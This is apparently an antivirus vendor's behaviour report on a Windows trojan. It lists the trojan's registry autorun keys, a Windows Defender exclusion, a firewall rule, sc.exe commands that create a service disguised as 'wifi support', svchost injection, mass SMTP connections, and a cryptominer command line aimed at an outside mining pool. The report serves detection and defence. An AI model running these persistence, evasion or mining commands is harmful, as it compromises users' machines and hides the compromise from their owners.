Trojan.Siggen18.34474

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\sefjknag] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\sefjknag] 'ImagePath' = '%WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\sefjknag] 'ImagePath' = '%WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe'

Creates the following services

'sefjknag' %WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe /d"<Full path to file>"
'sefjknag' %WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\sefjknag' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\wqbdqksr.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\wqbdqksr.exe to %WINDIR%\syswow64\sefjknag\wqbdqksr.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'fa###ool.xyz':10060
'mx##.#-online.de':25
'eu#######1.heimdalsecurity.com':25
'mx#.####10-35.eu.iphmx.com':25
'mx#.#####-royce.c3s2.iphmx.com':25
'mx##.###g.kundenserver.de':25
'ma###.keb.de':25
'ma##.##c-solutions.de':25
'mx##########tral-1.prod.hydra.sophos.com':25
'sm##.#gifederal.com':25
'in###gram.com':443
'ma##.chi.net':25
'mx#######102.gslb.pphosted.com':25
'ma#####.chollian.net':25
'in####ilmhustle.com':443
'mx#.#ate.com':25
'mx##.hkbn.net':25
'mx.##s.untd.com':25
'al######x-vip1.prodigy.net':25
'ex####l.bigpond.com':25
'mx.#len.pl':25
'aspmx.l.google.com':25
'mx#######903.gslb.pphosted.com':25
'sm###.#ail.medcity.net':25
'mx##.mail.com':25
'mx#######601.gslb.pphosted.com':25
'mt##.##0.yahoodns.net':25
'52.##3.198.19':443
'sv####lfheim.top':443
'80.##.75.254':483
'mx#.#aver.com':25
'31.##.244.126':427
'31.##.244.82':427
'31.##.244.127':427
'80.#6.75.4':427
'31.##.244.128':427
'31.##.244.85':427
'google.com':80
'52.##3.198.16':443
'99.##1.127.4':443
'ma####elay.alcom.ax':25
'19#.#08.239.254':443
'cx#.##.#.cloudfilter.net':25
'mx###.comcast.net':25
'mx#######501.gslb.pphosted.com':25
'mx.##fesa.it':25
'mx#.##pservices.us':25
'in######.anzenberger.com':25
'ma###.#pmortgage.com':25
'mx###.##tsol.xion.oxcs.net':25
'77############b084a94161432db6.pamx1.hotmail.com':25
'mx####.##il.gm0.yahoodns.net':25
'mx.##mply.com':25
'r-####6.korea.com':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'al######x-vip1.prodigy.net':25
'in####ilmhustle.com':443
'ma#####.chollian.net':25
'ma##.chi.net':25
'in###gram.com':443
'mx##########tral-1.prod.hydra.sophos.com':25
'ma##.##c-solutions.de':25
'ma###.keb.de':25
'mx#.####10-35.eu.iphmx.com':25
'eu#######1.heimdalsecurity.com':25
'ma####elay.alcom.ax':25
'fa###ool.xyz':10060
'mt##.##0.yahoodns.net':25
'mx.##mply.com':25
'aspmx.l.google.com':25
'mx####.##il.gm0.yahoodns.net':25
'in######.anzenberger.com':25
'mx#.##pservices.us':25
'19#.#08.239.254':443
'99.##1.127.4':443
'52.##3.198.19':443
'52.##3.198.16':443
'31.##.244.85':427
'31.##.244.82':427
'31.##.244.128':427
'80.#6.75.4':427
'31.##.244.127':427
'31.##.244.126':427
'mx#.#aver.com':25
'80.##.75.254':483
'77############b084a94161432db6.pamx1.hotmail.com':25
'i.###tagram.com':443

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ch##.com
DNS ASK ma##.chi.net
DNS ASK ch#.net
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK ch##.org
DNS ASK in###gram.com
DNS ASK sm##.#gifederal.com
DNS ASK cg###deral.com
DNS ASK in####ilmhustle.com
DNS ASK ma#####.chollian.net
DNS ASK ma##.##c-solutions.de
DNS ASK il####lutions.de
DNS ASK ma###.keb.de
DNS ASK ke#.de
DNS ASK mx##.###g.kundenserver.de
DNS ASK on##ne.de
DNS ASK mx#.#####-royce.c3s2.iphmx.com
DNS ASK ro###-royce.com
DNS ASK mx##########tral-1.prod.hydra.sophos.com
DNS ASK in######.anzenberger.com
DNS ASK na##.com
DNS ASK i.###tagram.com
DNS ASK mx#######102.gslb.pphosted.com
DNS ASK th##mo.com
DNS ASK sm###.#ail.medcity.net
DNS ASK he####onecares.com
DNS ASK mx#######903.gslb.pphosted.com
DNS ASK ta###c.co.uk
DNS ASK aspmx.l.google.com
DNS ASK st###ybg.org
DNS ASK mx.#len.pl
DNS ASK o2.pl
DNS ASK ex####l.bigpond.com
DNS ASK bi##ond.com
DNS ASK al######x-vip1.prodigy.net
DNS ASK be###outh.net
DNS ASK mx.##s.untd.com
DNS ASK ne##ero.net
DNS ASK mx##.hkbn.net
DNS ASK hk##.net
DNS ASK mx#.####10-35.eu.iphmx.com
DNS ASK ce####itygroup.com
DNS ASK sk###.#elsingborg.se
DNS ASK eu#######1.heimdalsecurity.com
DNS ASK rk#k.dk
DNS ASK google.com
DNS ASK mx.##fesa.it
DNS ASK sg#.#ifesa.it
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK am###trade.com
DNS ASK mx###.comcast.net
DNS ASK co##ast.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK co#.net
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK mx#.##pservices.us
DNS ASK mx#.#aver.com
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK na##r.com
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK sv####lfheim.top
DNS ASK ko##a.com
DNS ASK mx#.#ate.com
DNS ASK an###berger.com
DNS ASK ma###.#pmortgage.com
DNS ASK re##el.net
DNS ASK mx##.#-online.de
DNS ASK t-##line.de
DNS ASK fa###ool.xyz
DNS ASK mx##.mail.com
DNS ASK ma##.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK ro###tmail.com
DNS ASK mx.##mply.com
DNS ASK gn##p.net
DNS ASK ma####elay.alcom.ax
DNS ASK al##d.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK cs.com
DNS ASK 77############b084a94161432db6.pamx1.hotmail.com
DNS ASK as#####gvirtuoso.com
DNS ASK ar###arcorp.com
DNS ASK mx###.##tsol.xion.oxcs.net
DNS ASK ap####emyloan.com
DNS ASK ap###tgage.com
DNS ASK r-####6.korea.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\sefjknag\wqbdqksr.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\sefjknag\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wqbdqksr.exe" %WINDIR%\SysWOW64\sefjknag\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create sefjknag binPath= "%WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description sefjknag "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start sefjknag' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\sefjknag\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wqbdqksr.exe" %WINDIR%\SysWOW64\sefjknag\
'%WINDIR%\syswow64\sc.exe' create sefjknag binPath= "%WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description sefjknag "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start sefjknag
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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